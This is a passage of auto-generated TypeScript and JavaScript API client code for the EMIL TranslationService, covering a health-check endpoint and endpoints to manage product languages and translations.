check: (options?: AxiosRequestConfig) => Promise<RequestArgs>;
};
/**
* DefaultApi - functional programming interface
* @export
*/
export declare const DefaultApiFp: (configuration?: Configuration) => {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check(options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InlineResponse200>>;
};
/**
* DefaultApi - factory interface
* @export
*/
export declare const DefaultApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check(options?: any): AxiosPromise<InlineResponse200>;
};
/**
* DefaultApi - object-oriented interface
* @export
* @class DefaultApi
* @extends {BaseAPI}
*/
export declare class DefaultApi extends BaseAPI {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof DefaultApi
*/
check(options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<InlineResponse200, any, {}>>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.DefaultApi = exports.DefaultApiFactory = exports.DefaultApiFp = exports.DefaultApiAxiosParamCreator = void 0;
var axios_1 = __importDefault(require("axios"));
// Some imports not used depending on template conditions
// @ts-ignore
var common_1 = require("../common");
// @ts-ignore
var base_1 = require("../base");
// URLSearchParams not necessarily used
// @ts-ignore
var url_1 = require("url");
var FormData = require('form-data');
/**
* DefaultApi - axios parameter creator
* @export
*/
var DefaultApiAxiosParamCreator = function (configuration) {
var _this = this;
return {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check: function (options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
localVarPath = "/translationservice/health";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
});
});
},
};
};
exports.DefaultApiAxiosParamCreator = DefaultApiAxiosParamCreator;
/**
* DefaultApi - functional programming interface
* @export
*/
var DefaultApiFp = function (configuration) {
var localVarAxiosParamCreator = (0, exports.DefaultApiAxiosParamCreator)(configuration);
return {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check: function (options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.check(options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
};
};
exports.DefaultApiFp = DefaultApiFp;
/**
* DefaultApi - factory interface
* @export
*/
var DefaultApiFactory = function (configuration, basePath, axios) {
var localVarFp = (0, exports.DefaultApiFp)(configuration);
return {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check: function (options) {
return localVarFp.check(options).then(function (request) { return request(axios, basePath); });
},
};
};
exports.DefaultApiFactory = DefaultApiFactory;
/**
* DefaultApi - object-oriented interface
* @export
* @class DefaultApi
* @extends {BaseAPI}
*/
var DefaultApi = /** @class */ (function (_super) {
__extends(DefaultApi, _super);
function DefaultApi() {
return _super !== null && _super.apply(this, arguments) || this;
}
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof DefaultApi
*/
DefaultApi.prototype.check = function (options) {
var _this = this;
return (0, exports.DefaultApiFp)(this.configuration).check(options).then(function (request) { return request(_this.axios, _this.basePath); });
};
return DefaultApi;
}(base_1.BaseAPI));
exports.DefaultApi = DefaultApi;
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
import { RequestArgs, BaseAPI } from '../base';
import { CreateProductLanguageRequestDto } from '../models';
import { CreateProductLanguageResponseClass } from '../models';
import { GetProductLanguageResponseClass } from '../models';
import { ListProductLanguagesResponseClass } from '../models';
import { ListTranslationsResponseClass } from '../models';
import { UpdateProductLanguageRequestDto } from '../models';
import { UpdateProductLanguageResponseClass } from '../models';
import { UploadProductTranslationsResponseClass } from '../models';
/**
* TranslationApi - axios parameter creator
* @export
*/
export declare const TranslationApiAxiosParamCreator: (configuration?: Configuration) => {
/**
* This creates a product language. **Required Permissions** \"translation-management.translations.create\"
* @summary Create the product language
* @param {CreateProductLanguageRequestDto} createProductLanguageRequestDto
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createProductLanguage: (createProductLanguageRequestDto: CreateProductLanguageRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* Permanently deletes the product language. Supply the unique id that was returned when you created the product language and this will delete it. **Required Permissions** \"translation-management.translations.delete\"
* @summary Delete the product language
* @param {number} id Id of the product language.
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteProductLanguage: (id: number, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* This downloads the list of translatable fields for a given product. **Required Permissions** \"translation-management.translations.view\"
* @summary Retrieve the product translations
* @param {string} productSlug
* @param {'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian'} language
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadProductTranslations: (productSlug: string, language: 'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian', authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* This gets a product language. **Required Permissions** \"translation-management.translations.view\"
* @summary Retrieve the product language
* @param {number} id Id of the product language.
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getProductLanguage: (id: number, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* Returns a list of product languages you have previously created. The product languages are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. **Required Permissions** \"translation-management.translations.view\"
* @summary List product languages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, productSlug, language, isActive, translationStatus, createdAt, updateAt&lt;/i&gt;
* @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Searchable fields: id, language&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, language, isActive, translationStatus, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, productSlug, language, isActive, translationStatus, createdAt, updateAt&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listProductLanguages: (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* Returns a list of translations you have previously created. The translations are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. **Required Permissions** \"translation-management.translations.view\"
* @summary List translations
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: key&lt;/i&gt;
* @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Searchable fields: key&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, createdAt, key&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: key&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listTranslations: (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* This updates the product language with the specified id. **Required Permissions** \"translation-management.translations.update\"
* @summary Update the product language
* @param {UpdateProductLanguageRequestDto} updateProductLanguageRequestDto
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateProductLanguage: (updateProductLanguageRequestDto: UpdateProductLanguageRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* This uploads the translations for a given product. **Required Permissions** \"translation-management.translations.create\"
* @summary Create the product translations
* @param {string} productSlug
* @param {'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian'} language
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {any} [file]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
uploadProductTranslations: (productSlug: string, language: 'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian', authorization?: string, file?: any, options?: AxiosRequestConfig) => Promise<RequestArgs>;
};
/**
* TranslationApi - functional programming interface
* @export
*/
export declare const TranslationApiFp: (configuration?: Configuration) => {
/**
* This creates a product language. **Required Permissions** \"translation-management.translations.create\"
* @summary Create the product language
* @param {CreateProductLanguageRequestDto} createProductLanguageRequestDto
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createProductLanguage(createProductLanguageRequestDto: CreateProductLanguageRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateProductLanguageResponseClass>>;
/**
* Permanently deletes the product language. Supply the unique id that was returned when you created the product language and this will delete it. **Required Permissions** \"translation-management.translations.delete\"
* @summary Delete the product language
* @param {number} id Id of the product language.
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteProductLanguage(id: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>>;
/**
* This downloads the list of translatable fields for a given product. **Required Permissions** \"translation-management.translations.view\"
* @summary Retrieve the product translations
* @param {string} productSlug
* @param {'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian'} language
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadProductTranslations(productSlug: string, language: 'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian', authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<any>>;
/**
* This gets a product language. **Required Permissions** \"translation-management.translations.view\"
* @summary Retrieve the product language
* @param {number} id Id of the product language.
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getProductLanguage(id: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetProductLanguageResponseClass>>;
/**
* Returns a list of product languages you have previously created. The product languages are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. **Required Permissions** \"translation-management.translations.view\"
* @summary List product languages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, productSlug, language, isActive, translationStatus, createdAt, updateAt&lt;/i&gt;
* @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Searchable fields: id, language&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, language, isActive, translationStatus, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, productSlug, language, isActive, translationStatus, createdAt, updateAt&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listProductLanguages(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListProductLanguagesResponseClass>>;
/**
* Returns a list of translations you have previously created. The translations are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. **Required Permissions** \"translation-management.translations.view\"
* @summary List translations
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: key&lt;/i&gt;
* @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Searchable fields: key&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, createdAt, key&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: key&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listTranslations(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListTranslationsResponseClass>>;
/**
* This updates the product language with the specified id. **Required Permissions** \"translation-management.translations.update\"
* @summary Update the product language
* @param {UpdateProductLanguageRequestDto} updateProductLanguageRequestDto
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateProductLanguage(updateProductLanguageRequestDto: UpdateProductLanguageRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<UpdateProductLanguageResponseClass>>;
/**
* This uploads the translations for a given product. **Required Permissions** \"translation-management.translations.create\"
* @summary Create the product translations
* @param {string} productSlug
* @param {'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian'} language
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {any} [file]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
uploadProductTranslations(productSlug: string, language: 'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian', authorization?: string, file?: any, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<UploadProductTranslationsResponseClass>>;
};
/**
* TranslationApi - factory interface
* @export
*/
export declare const TranslationApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => {
/**
* This creates a product language. **Required Permissions** \"translation-management.translations.create\"
* @summary Create the product language
* @param {CreateProductLanguageRequestDto} createProductLanguageRequestDto
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createProductLanguage(createProductLanguageRequestDto: CreateProductLanguageRequestDto, authorization?: string, options?: any): AxiosPromise<CreateProductLanguageResponseClass>;
/**
* Permanently deletes the product language. Supply the unique id that was returned when you created the product language and this will delete it. **Required Permissions** \"translation-management.translations.delete\"
* @summary Delete the product language
* @param {number} id Id of the product language.
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteProductLanguage(id: number, authorization?: string, options?: any): AxiosPromise<void>;
/**
* This downloads the list of translatable fields for a given product. **Required Permissions** \"translation-management.translations.view\"
* @summary Retrieve the product translations
* @param {string} productSlug
* @param {'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian'} language
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
downloadProductTranslations(productSlug: string, language: 'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian', authorization?: string, options?: any): AxiosPromise<any>;
/**
* This gets a product language. **Required Permissions** \"translation-management.translations.view\"
* @summary Retrieve the product language
* @param {number} id Id of the product language.
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getProductLanguage(id: number, authorization?: string, options?: any): AxiosPromise<GetProductLanguageResponseClass>;
/**
* Returns a list of product languages you have previously created. The product languages are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. **Required Permissions** \"translation-management.translations.view\"
* @summary List product languages
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, productSlug, language, isActive, translationStatus, createdAt, updateAt&lt;/i&gt;
* @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Searchable fields: id, language&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, language, isActive, translationStatus, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, productSlug, language, isActive, translationStatus, createdAt, updateAt&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listProductLanguages(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListProductLanguagesResponseClass>;
/**
* Returns a list of translations you have previously created. The translations are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. **Required Permissions** \"translation-management.translations.view\"
* @summary List translations
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: key&lt;/i&gt;
* @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Searchable fields: key&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, createdAt, key&lt;/i&gt;
